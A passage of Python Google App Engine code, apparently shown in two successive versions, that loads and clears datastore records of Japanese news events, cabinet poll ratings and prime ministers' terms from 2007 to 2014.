'http://www.47news.jp/CN/201109/CN2011090201000656.html'], [\n '2011/8/19', '円が戦後最高値更新、75円95銭',\n 'http://www.47news.jp/CN/201108/CN2011081901001116.html'], ['2011/7/17',\n 'なでしこジャパン女子W杯初優勝',\n 'http://www.47news.jp/CN/201107/CN2011071801000025.html'], ['2011/5/6',\n '首相、浜岡原発停止要請', 'http://www.47news.jp/CN/201105/CN2011050601000847.html'\n ], ['2011/3/11', '東日本大震災',\n 'http://www.47news.jp/CN/201103/CN2011031101000455.html'], ['2011/2/22',\n 'NZ地震、日本人28人も死亡',\n 'http://www.47news.jp/CN/201104/CN2011040401001017.html'], ['2011/1/31',\n '民主党小沢一郎元代表を強制起訴',\n 'http://www.47news.jp/CN/201101/CN2011013101000352.html'], [\n '2010/11/23', '北朝鮮が韓国・延坪島砲撃',\n 'http://www.47news.jp/CN/201011/CN2010112301000213.html'], ['2010/10/6',\n 'ノーベル化学賞に根岸、鈴木両氏',\n 'http://www.47news.jp/CN/201010/CN2010100601000811.html'], ['2010/9/15',\n '政府が為替介入、6年半ぶり',\n 'http://www.47news.jp/CN/201009/CN2010091501000138.html'], ['2010/9/7',\n '尖閣で中国漁船が巡視船に衝突',\n 'http://www.47news.jp/CN/201009/CN2010090701000382.html'], ['2010/7/11',\n '参院選で民主党大敗、ねじれ国会',\n 'http://www.47news.jp/CN/201007/CN2010071101000032.html'], ['2010/6/8',\n '鳩山首相退陣、菅内閣発足',\n 'http://www.47news.jp/CN/201006/CN2010060801000756.html'], ['2010/5/28',\n '普天間移設で日米合意', 'http://www.47news.jp/CN/201005/CN2010052801000165.html'],\n ['2010/4/20', '宮崎県で口蹄疫、被害拡大',\n 'http://www.47news.jp/CN/201004/CN2010042001000207.html'], [\n '2009/11/20', 'デフレ宣言、3年5カ月ぶり',\n 'http://www.47news.jp/CN/200911/CN2009112001000267.html'], ['2009/10/2',\n '2016年五輪はリオ、東京落選',\n 'http://www.47news.jp/CN/200910/CN2009100201000542.html'], ['2009/9/16',\n '鳩山内閣発足', 'http://www.47news.jp/CN/200909/CN2009091601000915.html'], [\n '2009/8/30', '民主党圧勝で政権交代、衆院選',\n 'http://www.47news.jp/CN/200908/CN2009083001000015.html'], ['2009/8/3',\n '全国初の裁判員裁判、東京地裁',\n 'http://www.47news.jp/CN/200908/CN2009080301000461.html'], ['2009/6/25',\n '歌手M・ジャクソンさん急死',\n 'http://www.47news.jp/CN/200906/CN2009062601000067.html'], ['2009/5/25',\n '北朝鮮が2回目の核実験', 'http://www.47news.jp/CN/200905/CN2009052501000261.html'\n ], ['2009/3/23', 'WBCで「侍ジャパン」が連覇',\n 'http://www.47news.jp/CN/200903/CN2009032401000025.html'], ['2009/1/20',\n '米、オバマ新政権が発足', 'http://www.47news.jp/CN/200901/CN2009012001000945.html'\n ], ['2008/10/31', '田母神俊雄航空幕僚長を更迭',\n 'http://www.47news.jp/CN/200810/CN2008103101000632.html'], ['2008/9/24',\n '麻生内閣発足', 'http://www.47news.jp/CN/200809/CN2008092401000025.html'], [\n '2008/9/15', 'リーマン・ショック',\n 'http://www.47news.jp/CN/200809/CN2008091501000215.html'], ['2008/9/1',\n '福田首相、退陣表明', 'http://www.47news.jp/CN/200809/CN2008090101000736.html'],\n ['2008/7/7', '北海道・洞爺湖サミット~9日',\n 'http://www.47news.jp/CN/200807/CN2008070901000704.html'], ['2008/6/11',\n '福田首相の問責決議が可決',\n 'http://www.47news.jp/CN/200806/CN2008061101000609.html'], ['2008/5/12',\n '中国・四川大地震', 'http://www.47news.jp/CN/200805/CN2008051201000871.html'],\n ['2008/4/9', '日銀総裁に白川副総裁が昇格',\n 'http://www.47news.jp/CN/200804/CN2008040901000924.html'], ['2008/2/19',\n '海自イージス艦が漁船と衝突',\n 'http://www.47news.jp/CN/200802/CN2008021901000329.html'], ['2008/1/27',\n '大阪府知事選で橋下徹氏初当選',\n 'http://www.47news.jp/CN/200801/CN2008012801000076.html'], [\n '2007/11/28', '防衛装備疑惑で前防衛次官を逮捕',\n 'http://www.47news.jp/CN/200711/CN2007112801000463.html'], ['2007/11/2',\n 'テロ特措法期限切れ海自撤収命令',\n 'http://www.47news.jp/CN/200710/CN2007102901000620.html'], ['2007/9/12',\n '安倍首相が退陣。後任に福田氏',\n 'http://www.47news.jp/CN/200709/CN2007091201000426.html'], ['2007/7/29',\n '参院選で自民党が歴史的惨敗',\n 'http://www.47news.jp/CN/200707/CN2007072901000697.html'], ['2007/5/28',\n '松岡農相が自殺', 'http://www.47news.jp/CN/200705/CN2007052801000693.html'], [\n '2007/5/14', '改憲手続き定めた国民投票法成立',\n 'http://www.47news.jp/CN/200705/CN2007051401000231.html']]\nprs = [['2007/4/16', '38.3 ', '17.5 ', '44.2 '], ['2007/5/12', '38.2 ',\n '14.2 ', '47.6 '], ['2007/6/1', '48.7 ', '15.5 ', '35.8 '], [\n '2007/7/30', '59.0 ', '12.0 ', '29.0 '], ['2007/8/27', '45.5 ', '14.0 ',\n '40.5 '], ['2007/9/13', '46.6 ', '7.9 ', '45.5 '], ['2007/9/25',\n '25.6 ', '16.6 ', '57.8 '], ['2007/10/27', '29.6 ', '20.2 ', '50.2 '],\n ['2007/11/5', '36.6 ', '16.4 ', '47.0 '], ['2007/12/15', '47.6 ',\n '17.1 ', '35.3 '], ['2008/1/11', '42.8 ', '15.8 ', '41.4 '], [\n '2008/2/9', '44.6 ', '19.9 ', '35.5 '], ['2008/3/15', '50.6 ', '16.0 ',\n '33.4 '], ['2008/4/4', '59.6 ', '13.8 ', '26.6 '], ['2008/5/1', '66.6 ',\n '13.6 ', '19.8 '], ['2008/6/12', '60.2 ', '14.8 ', '25.0 '], [\n '2008/7/11', '53.5 ', '19.7 ', '26.8 '], ['2008/8/1', '48.2 ', '20.4 ',\n '31.5 '], ['2008/9/2', '28.0 ', '4.1 ', '67.9 '], ['2008/9/24', '32.9 ',\n '18.5 ', '48.6 '], ['2008/10/18', '39.0 ', '18.5 ', '42.5 '], [\n '2008/11/8', '42.1 ', '16.9 ', '40.9 '], ['2008/12/6', '61.4 ', '13.2 ',\n '25.4 '], ['2009/1/10', '70.2 ', '10.6 ', '19.2 '], ['2009/2/7',\n '70.9 ', '11.0 ', '18.1 '], ['2009/2/17', '76.6 ', '10.0 ', '13.4 '], [\n '2009/3/7', '70.8 ', '13.2 ', '16.0 '], ['2009/3/25', '63.4 ', '12.8 ',\n '23.7 '], ['2009/4/28', '56.2 ', '14.2 ', '29.6 '], ['2009/5/11',\n '55.1 ', '16.9 ', '28.0 '], ['2009/5/16', '60.2 ', '13.5 ', '26.2 '], [\n '2009/6/13', '70.5 ', '12.0 ', '17.5 '], ['2009/7/3', '60.9 ', '15.7 ',\n '23.4 '], ['2009/9/16', '13.1 ', '14.9 ', '72.0 '], ['2009/10/31',\n '22.9 ', '15.3 ', '61.8 '], ['2009/11/28', '25.1 ', '11.2 ', '63.6 '],\n ['2009/12/25', '38.1 ', '14.7 ', '47.1 '], ['2010/1/10', '33.2 ',\n '16.0 ', '50.8 '], ['2010/1/17', '44.1 ', '14.4 ', '41.5 '], [\n '2010/2/5', '45.1 ', '13.5 ', '41.4 '], ['2010/3/6', '48.9 ', '14.8 ',\n '36.4 '], ['2010/4/3', '53.3 ', '13.7 ', '33.0 '], ['2010/4/28',\n '64.4 ', '14.9 ', '20.7 '], ['2010/5/29', '73.1 ', '7.7 ', '19.1 '], [\n '2010/6/4', '37.2 ', '5.2 ', '57.7 '], ['2010/7/12', '52.2 ', '11.5 ',\n '36.2 '], ['2010/8/7', '44.8 ', '16.5 ', '38.7 '], ['2010/8/27',\n '36.2 ', '15.7 ', '48.1 '], ['2010/9/9', '31.5 ', '13.8 ', '54.7 '], [\n '2010/9/17', '21.2 ', '14.3 ', '64.5 '], ['2010/10/5', '36.6 ', '15.8 ',\n '47.6 '], ['2010/11/6', '48.6 ', '18.7 ', '32.7 '], ['2010/11/23',\n '61.9 ', '14.5 ', '23.6 '], ['2010/12/25', '67.0 ', '9.4 ', '23.7 '], [\n '2011/1/14', '53.9 ', '13.9 ', '32.1 '], ['2011/2/11', '63.3 ', '16.7 ',\n '19.9 '], ['2011/3/26', '55.6 ', '16.1 ', '28.3 '], ['2011/4/29',\n '58.6 ', '14.5 ', '26.8 '], ['2011/5/14', '57.3 ', '14.6 ', '28.1 '], [\n '2011/6/28', '61.1 ', '15.6 ', '23.2 '], ['2011/7/23', '70.6 ', '12.3 ',\n '17.1 '], ['2011/8/20', '70.0 ', '14.2 ', '15.8 '], ['2011/9/2',\n '18.1 ', '19.1 ', '62.7 '], ['2011/10/1', '27.8 ', '17.6 ', '54.6 '], [\n '2011/11/5', '34.3 ', '18.6 ', '47.1 '], ['2011/12/3', '40.3 ', '15.1 ',\n '44.6 '], ['2012/1/7', '50.6 ', '13.7 ', '35.7 '], ['2012/1/13',\n '47.8 ', '16.4 ', '35.8 '], ['2012/2/18', '55.2 ', '15.8 ', '29.0 '], [\n '2012/3/19', '50.2 ', '18.2 ', '31.6 '], ['2012/4/28', '60.0 ', '13.6 ',\n '26.4 '], ['2012/5/26', '58.1 ', '13.9 ', '28.0 '], ['2012/6/4',\n '50.0 ', '18.0 ', '32.0 '], ['2012/6/26', '54.4 ', '15.8 ', '29.9 '], [\n '2012/7/14', '59.9 ', '11.9 ', '28.2 '], ['2012/8/11', '59.0 ', '13.1 ',\n '27.9 '], ['2012/9/1', '59.4 ', '14.3 ', '26.3 '], ['2012/10/1',\n '55.3 ', '15.5 ', '29.2 '], ['2012/11/3', '66.0 ', '16.2 ', '17.7 '], [\n '2012/12/26', '21.8 ', '16.2 ', '62.0 '], ['2013/1/26', '22.1 ',\n '11.2 ', '66.7 '], ['2013/2/23', '16.2 ', '11.1 ', '72.7 '], [\n '2013/3/23', '16.7 ', '12.2 ', '71.1 '], ['2013/3/30', '20.8 ', '7.2 ',\n '72.0 '], ['2013/4/20', '16.0 ', '11.9 ', '72.1 '], ['2013/5/18',\n '16.2 ', '12.9 ', '70.9 '], ['2013/6/1', '16.3 ', '15.7 ', '68.0 '], [\n '2013/6/8', '20.4 ', '8.4 ', '71.2 '], ['2013/7/22', '31.7 ', '12.1 ',\n '56.2 '], ['2013/8/24', '25.6 ', '16.7 ', '57.7 '], ['2013/9/14',\n '20.4 ', '17.8 ', '61.8 '], ['2013/9/28', '21.8 ', '7.5 ', '70.7 '], [\n '2013/10/1', '24.1 ', '12.6 ', '63.3 '], ['2013/10/26', '27.0 ',\n '12.3 ', '60.7 '], ['2013/11/23', '26.2 ', '15.9 ', '57.9 '], [\n '2013/12/8', '38.4 ', '14.0 ', '47.6 '], ['2013/12/14', '35.9 ', '7.2 ',\n '56.9 '], ['2013/12/22', '33.0 ', '12.8 ', '54.2 '], ['2013/12/28',\n '32.6 ', '12.2 ', '55.2 '], ['2014/1/25', '31.0 ', '13.1 ', '55.9 '], [\n '2014/2/22', '29.7 ', '16.4 ', '53.9 '], ['2014/4/11', '26.7 ', '13.5 ',\n '59.8 '], ['2014/5/17', '32.5 ', '12.8 ', '54.7 '], ['2014/6/21',\n '33.0 ', '14.9 ', '52.1 '], ['2014/7/1', '40.6 ', '11.6 ', '47.8 ']]\ngos = [['野田', '2011/09/02', '2012/12/26'], ['菅', '2010/06/08', '2011/09/02'\n ], ['鳩山', '2009/09/16', '2010/06/08'], ['麻生', '2008/09/24',\n '2009/09/16'], ['福田', '2007/09/26', '2008/09/24'], ['安倍', '2007/04/01',\n '2007/09/26']]\n\n\nclass initDATA(webapp.RequestHandler):\n \"\"\"\n classdocs\n \"\"\"\n\n def get(self):\n user = users.get_current_user()\n if user == None:\n self.redirect(users.create_login_url(self.request.uri))\n return\n for ht in hts:\n htdate = datetime.date(datetime.strptime(ht[0], '%Y/%m/%d'))\n obj1 = HistoricalTable(date=htdate, title=ht[1], url=ht[2])\n obj1.save()\n for pr in prs:\n prdate = datetime.date(datetime.strptime(pr[0], '%Y/%m/%d'))\n obj2 = PollRating(date=prdate, approval_rate=float(pr[3]),\n unknown_rate=float(pr[2]), disapproval_rate=float(pr[1]))\n obj2.save()\n for pgo in gos:\n gosdate = datetime.date(datetime.strptime(pgo[1], '%Y/%m/%d'))\n try:\n goedate = datetime.date(datetime.strptime(pgo[2], '%Y/%m/%d'))\n except:\n goedate = None\n obj3 = Government(name=pgo[0], begin=gosdate, end=goedate)\n obj3.save()\n\n\nclass clearDATA(webapp.RequestHandler):\n\n def get(self):\n user = users.get_current_user()\n if user == None:\n self.redirect(users.create_login_url(self.request.uri))\n return\n for ht in HistoricalTable.all():\n ht.delete()\n for pr in PollRating.all():\n pr.delete()\n for pgo in Government.all():\n pgo.delete()\n", "step-5": "# -*- coding: utf-8 -*-\n'''\nCreated on 2014/07/24\n\n@author: seigo\n'''\n\nfrom google.appengine.api import users\nfrom google.appengine.ext import webapp\nfrom MyModel import HistoricalTable, PollRating, Government\nfrom datetime import datetime\n\nhts = [[\"2014/7/1\",\"集団的自衛権行使容認の閣議決定\",\"http://www.47news.jp/47topics/e/254919.php\"],[\"2014/3/18\",\"ロシア、クリミアを編入\",\"http://www.47news.jp/CN/201403/CN2014031801002413.html\"],[\"2014/2/9\",\"舛添氏が圧勝、東京都知事選\",\"http://www.47news.jp/CN/201402/CN2014020901001630.html\"],[\"2014/1/7\",\"国家安全保障局を設置\",\"http://www.47news.jp/CN/201401/CN2014010701001086.html\"],[\"2013/12/26\",\"安倍首相が靖国神社参拝\",\"http://www.47news.jp/CN/201312/CN2013122601000987.html\"],[\"2013/12/6\",\"特定秘密保護法が成立\",\"http://www.47news.jp/CN/201312/CN2013120601002724.html\"],[\"2013/11/3\",\"東北楽天がプロ野球日本一\",\"http://www.47news.jp/CN/201311/CN2013110301002118.html\"],[\"2013/10/1\",\"消費税率引き上げ決定、4月8%\",\"http://www.47news.jp/CN/201310/CN2013100101002292.html\"],[\"2013/9/8\",\"2020年東京五輪開催決定\",\"http://www.47news.jp/CN/201309/CN2013090401001495.html\"],[\"2013/7/21\",\"参院選で自民圧勝、ねじれ解消\",\"http://www.47news.jp/CN/201307/CN2013072101001638.html\"],[\"2013/3/15\",\"TPP交渉に参加表明\",\"http://www.47news.jp/CN/201303/CN2013031501001566.html\"],[\"2013/2/12\",\"北朝鮮が3度目の核実験\",\"http://www.47news.jp/CN/201302/CN2013021201001987.html\"],[\"2013/1/16\",\"アルジェリア人質事件発生\",\"http://www.47news.jp/CN/201301/CN2013011601001649.html\"],[\"2012/12/26\",\"第2次安倍内閣発足\",\"http://www.47news.jp/CN/201212/CN2012122601001577.html\"],[\"2012/12/6\",\"自公が政権奪還、衆院選\",\"http://www.47news.jp/CN/201212/CN2012121601001041.html\"],[\"2012/11/15\",\"習近平新指導部発足、中国\",\"http://www.47news.jp/CN/201211/CN2012111501001203.html\"],[\"2012/11/6\",\"オバマ米大統領が再選\",\"http://www.47news.jp/CN/201211/CN2012110701000867.html\"],[\"2012/10/1\",\"新型輸送機オスプレイを沖縄配備\",\"http://www.47news.jp/CN/201210/CN2012100101001335.html\"],[\"2012/9/11\",\"尖閣諸島の魚釣島など3島国有化\",\"http://www.47news.jp/CN/201209/CN2012091101001254.html\"],[\"2012/8/10\",\"消費税増税法が成立、10%へ\",\"http://www.47news.jp/CN/201208/CN2012081001002702.html\"],[\"2012/6/27\",\"東京電力を国有化、公的資金注入\",\"http://www.47news.jp/CN/201206/CN2012062701001601.html\"],[\"2011/12/19\",\"北朝鮮の金正日総書記が死去発表\",\"http://www.47news.jp/CN/201112/CN2011121901001386.html\"],[\"2011/11/27\",\"大阪ダブル選で「維新の会」勝利\",\"http://www.47news.jp/CN/201111/CN2011112701001230.html\"],[\"2011/10/20\",\"リビアのカダフィ大佐が死亡\",\"http://www.47news.jp/CN/201110/CN2011102001000912.html\"],[\"2011/10/5\",\"米アップル創業者ジョブズ氏死去\",\"http://www.47news.jp/CN/201110/CN2011100601000102.html\"],[\"2011/9/2\",\"野田内閣が発足\",\"http://www.47news.jp/CN/201109/CN2011090201000656.html\"],[\"2011/8/19\",\"円が戦後最高値更新、75円95銭\",\"http://www.47news.jp/CN/201108/CN2011081901001116.html\"],[\"2011/7/17\",\"なでしこジャパン女子W杯初優勝\",\"http://www.47news.jp/CN/201107/CN2011071801000025.html\"],[\"2011/5/6\",\"首相、浜岡原発停止要請\",\"http://www.47news.jp/CN/201105/CN2011050601000847.html\"],[\"2011/3/11\",\"東日本大震災\",\"http://www.47news.jp/CN/201103/CN2011031101000455.html\"],[\"2011/2/22\",\"NZ地震、日本人28人も死亡\",\"http://www.47news.jp/CN/201104/CN2011040401001017.html\"],[\"2011/1/31\",\"民主党小沢一郎元代表を強制起訴\",\"http://www.47news.jp/CN/201101/CN2011013101000352.html\"],[\"2010/11/23\",\"北朝鮮が韓国・延坪島砲撃\",\"http://www.47news.jp/CN/201011/CN2010112301000213.html\"],[\"2010/10/6\",\"ノーベル化学賞に根岸、鈴木両氏\",\"http://www.47news.jp/CN/201010/CN2010100601000811.html\"],[\"2010/9/15\",\"政府が為替介入、6年半ぶり\",\"http://www.47news.jp/CN/201009/CN2010091501000138.html\"],[\"2010/9/7\",\"尖閣で中国漁船が巡視船に衝突\",\"http://www.47news.jp/CN/201009/CN2010090701000382.html\"],[\"2010/7/11\",\"参院選で民主党大敗、ねじれ国会\",\"http://www.47news.jp/CN/201007/CN2010071101000032.html\"],[\"2010/6/8\",\"鳩山首相退陣、菅内閣発足\",\"http://www.47news.jp/CN/201006/CN2010060801000756.html\"],[\"2010/5/28\",\"普天間移設で日米合意\",\"http://www.47news.jp/CN/201005/CN2010052801000165.html\"],[\"2010/4/20\",\"宮崎県で口蹄疫、被害拡大\",\"http://www.47news.jp/CN/201004/CN2010042001000207.html\"],[\"2009/11/20\",\"デフレ宣言、3年5カ月ぶり\",\"http://www.47news.jp/CN/200911/CN2009112001000267.html\"],[\"2009/10/2\",\"2016年五輪はリオ、東京落選\",\"http://www.47news.jp/CN/200910/CN2009100201000542.html\"],[\"2009/9/16\",\"鳩山内閣発足\",\"http://www.47news.jp/CN/200909/CN2009091601000915.html\"],[\"2009/8/30\",\"民主党圧勝で政権交代、衆院選\",\"http://www.47news.jp/CN/200908/CN2009083001000015.html\"],[\"2009/8/3\",\"全国初の裁判員裁判、東京地裁\",\"http://www.47news.jp/CN/200908/CN2009080301000461.html\"],[\"2009/6/25\",\"歌手M・ジャクソンさん急死\",\"http://www.47news.jp/CN/200906/CN2009062601000067.html\"],[\"2009/5/25\",\"北朝鮮が2回目の核実験\",\"http://www.47news.jp/CN/200905/CN2009052501000261.html\"],[\"2009/3/23\",\"WBCで「侍ジャパン」が連覇\",\"http://www.47news.jp/CN/200903/CN2009032401000025.html\"],[\"2009/1/20\",\"米、オバマ新政権が発足\",\"http://www.47news.jp/CN/200901/CN2009012001000945.html\"],[\"2008/10/31\",\"田母神俊雄航空幕僚長を更迭\",\"http://www.47news.jp/CN/200810/CN2008103101000632.html\"],[\"2008/9/24\",\"麻生内閣発足\",\"http://www.47news.jp/CN/200809/CN2008092401000025.html\"],[\"2008/9/15\",\"リーマン・ショック\",\"http://www.47news.jp/CN/200809/CN2008091501000215.html\"],[\"2008/9/1\",\"福田首相、退陣表明\",\"http://www.47news.jp/CN/200809/CN2008090101000736.html\"],[\"2008/7/7\",\"北海道・洞爺湖サミット~9日\",\"http://www.47news.jp/CN/200807/CN2008070901000704.html\"],[\"2008/6/11\",\"福田首相の問責決議が可決\",\"http://www.47news.jp/CN/200806/CN2008061101000609.html\"],[\"2008/5/12\",\"中国・四川大地震\",\"http://www.47news.jp/CN/200805/CN2008051201000871.html\"],[\"2008/4/9\",\"日銀総裁に白川副総裁が昇格\",\"http://www.47news.jp/CN/200804/CN2008040901000924.html\"],[\"2008/2/19\",\"海自イージス艦が漁船と衝突\",\"http://www.47news.jp/CN/200802/CN2008021901000329.html\"],[\"2008/1/27\",\"大阪府知事選で橋下徹氏初当選\",\"http://www.47news.jp/CN/200801/CN2008012801000076.html\"],[\"2007/11/28\",\"防衛装備疑惑で前防衛次官を逮捕\",\"http://www.47news.jp/CN/200711/CN2007112801000463.html\"],[\"2007/11/2\",\"テロ特措法期限切れ海自撤収命令\",\"http://www.47news.jp/CN/200710/CN2007102901000620.html\"],[\"2007/9/12\",\"安倍首相が退陣。後任に福田氏\",\"http://www.47news.jp/CN/200709/CN2007091201000426.html\"],[\"2007/7/29\",\"参院選で自民党が歴史的惨敗\",\"http://www.47news.jp/CN/200707/CN2007072901000697.html\"],[\"2007/5/28\",\"松岡農相が自殺\",\"http://www.47news.jp/CN/200705/CN2007052801000693.html\"],[\"2007/5/14\",\"改憲手続き定めた国民投票法成立\",\"http://www.47news.jp/CN/200705/CN2007051401000231.html\"]]\nprs = [[\"2007/4/16\",\"38.3 \",\"17.5 \",\"44.2 \"],[\"2007/5/12\",\"38.2 \",\"14.2 \",\"47.6 \"],[\"2007/6/1\",\"48.7 \",\"15.5 \",\"35.8 \"],[\"2007/7/30\",\"59.0 \",\"12.0 \",\"29.0 \"],[\"2007/8/27\",\"45.5 \",\"14.0 \",\"40.5 \"],[\"2007/9/13\",\"46.6 \",\"7.9 \",\"45.5 \"],[\"2007/9/25\",\"25.6 \",\"16.6 \",\"57.8 \"],[\"2007/10/27\",\"29.6 \",\"20.2 \",\"50.2 \"],[\"2007/11/5\",\"36.6 \",\"16.4 \",\"47.0 \"],[\"2007/12/15\",\"47.6 \",\"17.1 \",\"35.3 \"],[\"2008/1/11\",\"42.8 \",\"15.8 \",\"41.4 \"],[\"2008/2/9\",\"44.6 \",\"19.9 \",\"35.5 \"],[\"2008/3/15\",\"50.6 \",\"16.0 \",\"33.4 \"],[\"2008/4/4\",\"59.6 \",\"13.8 \",\"26.6 \"],[\"2008/5/1\",\"66.6 \",\"13.6 \",\"19.8 \"],[\"2008/6/12\",\"60.2 \",\"14.8 \",\"25.0 \"],[\"2008/7/11\",\"53.5 \",\"19.7 \",\"26.8 \"],[\"2008/8/1\",\"48.2 \",\"20.4 \",\"31.5 \"],[\"2008/9/2\",\"28.0 \",\"4.1 \",\"67.9 \"],[\"2008/9/24\",\"32.9 \",\"18.5 \",\"48.6 \"],[\"2008/10/18\",\"39.0 \",\"18.5 \",\"42.5 \"],[\"2008/11/8\",\"42.1 \",\"16.9 \",\"40.9 \"],[\"2008/12/6\",\"61.4 \",\"13.2 \",\"25.4 \"],[\"2009/1/10\",\"70.2 \",\"10.6 \",\"19.2 \"],[\"2009/2/7\",\"70.9 \",\"11.0 \",\"18.1 \"],[\"2009/2/17\",\"76.6 \",\"10.0 \",\"13.4 \"],[\"2009/3/7\",\"70.8 \",\"13.2 \",\"16.0 \"],[\"2009/3/25\",\"63.4 \",\"12.8 \",\"23.7 \"],[\"2009/4/28\",\"56.2 \",\"14.2 \",\"29.6 \"],[\"2009/5/11\",\"55.1 \",\"16.9 \",\"28.0 \"],[\"2009/5/16\",\"60.2 \",\"13.5 \",\"26.2 \"],[\"2009/6/13\",\"70.5 \",\"12.0 \",\"17.5 \"],[\"2009/7/3\",\"60.9 \",\"15.7 \",\"23.4 \"],[\"2009/9/16\",\"13.1 \",\"14.9 \",\"72.0 \"],[\"2009/10/31\",\"22.9 \",\"15.3 \",\"61.8 \"],[\"2009/11/28\",\"25.1 \",\"11.2 \",\"63.6 \"],[\"2009/12/25\",\"38.1 \",\"14.7 \",\"47.1 \"],[\"2010/1/10\",\"33.2 \",\"16.0 \",\"50.8 \"],[\"2010/1/17\",\"44.1 \",\"14.4 \",\"41.5 \"],[\"2010/2/5\",\"45.1 \",\"13.5 \",\"41.4 \"],[\"2010/3/6\",\"48.9 \",\"14.8 \",\"36.4 \"],[\"2010/4/3\",\"53.3 \",\"13.7 \",\"33.0 \"],[\"2010/4/28\",\"64.4 \",\"14.9 \",\"20.7 \"],[\"2010/5/29\",\"73.1 \",\"7.7 \",\"19.1 \"],[\"2010/6/4\",\"37.2 \",\"5.2 \",\"57.7 \"],[\"2010/7/12\",\"52.2 \",\"11.5 \",\"36.2 \"],[\"2010/8/7\",\"44.8 \",\"16.5 \",\"38.7 \"],[\"2010/8/27\",\"36.2 \",\"15.7 \",\"48.1 \"],[\"2010/9/9\",\"31.5 \",\"13.8 \",\"54.7 \"],[\"2010/9/17\",\"21.2 \",\"14.3 \",\"64.5 \"],[\"2010/10/5\",\"36.6 \",\"15.8 \",\"47.6 \"],[\"2010/11/6\",\"48.6 \",\"18.7 \",\"32.7 \"],[\"2010/11/23\",\"61.9 \",\"14.5 \",\"23.6 \"],[\"2010/12/25\",\"67.0 \",\"9.4 \",\"23.7 \"],[\"2011/1/14\",\"53.9 \",\"13.9 \",\"32.1 \"],[\"2011/2/11\",\"63.3 \",\"16.7 \",\"19.9 \"],[\"2011/3/26\",\"55.6 \",\"16.1 \",\"28.3 \"],[\"2011/4/29\",\"58.6 \",\"14.5 \",\"26.8 \"],[\"2011/5/14\",\"57.3 \",\"14.6 \",\"28.1 \"],[\"2011/6/28\",\"61.1 \",\"15.6 \",\"23.2 \"],[\"2011/7/23\",\"70.6 \",\"12.3 \",\"17.1 \"],[\"2011/8/20\",\"70.0 \",\"14.2 \",\"15.8 \"],[\"2011/9/2\",\"18.1 \",\"19.1 \",\"62.7 \"],[\"2011/10/1\",\"27.8 \",\"17.6 \",\"54.6 \"],[\"2011/11/5\",\"34.3 \",\"18.6 \",\"47.1 \"],[\"2011/12/3\",\"40.3 \",\"15.1 \",\"44.6 \"],[\"2012/1/7\",\"50.6 \",\"13.7 \",\"35.7 \"],[\"2012/1/13\",\"47.8 \",\"16.4 \",\"35.8 \"],[\"2012/2/18\",\"55.2 \",\"15.8 \",\"29.0 \"],[\"2012/3/19\",\"50.2 \",\"18.2 \",\"31.6 \"],[\"2012/4/28\",\"60.0 \",\"13.6 \",\"26.4 \"],[\"2012/5/26\",\"58.1 \",\"13.9 \",\"28.0 \"],[\"2012/6/4\",\"50.0 \",\"18.0 \",\"32.0 \"],[\"2012/6/26\",\"54.4 \",\"15.8 \",\"29.9 \"],[\"2012/7/14\",\"59.9 \",\"11.9 \",\"28.2 \"],[\"2012/8/11\",\"59.0 \",\"13.1 \",\"27.9 \"],[\"2012/9/1\",\"59.4 \",\"14.3 \",\"26.3 \"],[\"2012/10/1\",\"55.3 \",\"15.5 \",\"29.2 \"],[\"2012/11/3\",\"66.0 \",\"16.2 \",\"17.7 \"],[\"2012/12/26\",\"21.8 \",\"16.2 \",\"62.0 \"],[\"2013/1/26\",\"22.1 \",\"11.2 \",\"66.7 \"],[\"2013/2/23\",\"16.2 \",\"11.1 \",\"72.7 \"],[\"2013/3/23\",\"16.7 \",\"12.2 \",\"71.1 \"],[\"2013/3/30\",\"20.8 \",\"7.2 \",\"72.0 \"],[\"2013/4/20\",\"16.0 \",\"11.9 \",\"72.1 \"],[\"2013/5/18\",\"16.2 \",\"12.9 \",\"70.9 \"],[\"2013/6/1\",\"16.3 \",\"15.7 \",\"68.0 \"],[\"2013/6/8\",\"20.4 \",\"8.4 \",\"71.2 \"],[\"2013/7/22\",\"31.7 \",\"12.1 \",\"56.2 \"],[\"2013/8/24\",\"25.6 \",\"16.7 \",\"57.7 \"],[\"2013/9/14\",\"20.4 \",\"17.8 \",\"61.8 \"],[\"2013/9/28\",\"21.8 \",\"7.5 \",\"70.7 \"],[\"2013/10/1\",\"24.1 \",\"12.6 \",\"63.3 \"],[\"2013/10/26\",\"27.0 \",\"12.3 \",\"60.7 \"],[\"2013/11/23\",\"26.2 \",\"15.9 \",\"57.9 \"],[\"2013/12/8\",\"38.4 \",\"14.0 \",\"47.6 \"],[\"2013/12/14\",\"35.9 \",\"7.2 \",\"56.9 \"],[\"2013/12/22\",\"33.0 \",\"12.8 \",\"54.2 \"],[\"2013/12/28\",\"32.6 \",\"12.2 \",\"55.2 \"],[\"2014/1/25\",\"31.0 \",\"13.1 \",\"55.9 \"],[\"2014/2/22\",\"29.7 \",\"16.4 \",\"53.9 \"],[\"2014/4/11\",\"26.7 \",\"13.5 \",\"59.8 \"],[\"2014/5/17\",\"32.5 \",\"12.8 \",\"54.7 \"],[\"2014/6/21\",\"33.0 \",\"14.9 \",\"52.1 \"],[\"2014/7/1\",\"40.6 \",\"11.6 \",\"47.8 \"]]\ngos = [[\"野田\",\"2011/09/02\",\"2012/12/26\"],[\"菅\",\"2010/06/08\",\"2011/09/02\"],[\"鳩山\",\"2009/09/16\",\"2010/06/08\"],[\"麻生\",\"2008/09/24\",\"2009/09/16\"],[\"福田\",\"2007/09/26\",\"2008/09/24\"],[\"安倍\",\"2007/04/01\",\"2007/09/26\"]]\n\n\nclass initDATA(webapp.RequestHandler):\n '''\n classdocs\n '''\n def get(self):\n user = users.get_current_user()\n if user == None:\n self.redirect(users.create_login_url(self.request.uri))\n return\n for ht in hts:\n htdate = datetime.date(datetime.strptime(ht[0], '%Y/%m/%d'))\n obj1 = HistoricalTable(date=htdate,title=ht[1],url=ht[2])\n obj1.save()\n \n for pr in prs:\n prdate = datetime.date(datetime.strptime(pr[0], '%Y/%m/%d'))\n obj2 = PollRating(date=prdate,approval_rate=float(pr[3]),unknown_rate=float(pr[2]),disapproval_rate=float(pr[1]))\n obj2.save()\n \n for pgo in gos:\n gosdate = datetime.date(datetime.strptime(pgo[1], '%Y/%m/%d'))\n try:\n goedate = datetime.date(datetime.strptime(pgo[2], '%Y/%m/%d'))\n except:\n goedate = None\n obj3 = Government(name=pgo[0], begin=gosdate, end=goedate)\n obj3.save()\n \nclass clearDATA(webapp.RequestHandler):\n def get(self):\n user = users.get_current_user()\n if user == None:\n self.redirect(users.create_login_url(self.request.uri))\n return\n for ht in HistoricalTable.all():\n ht.delete()\n \n for pr in PollRating.all():\n pr.delete()\n \n for pgo in Government.all():\n 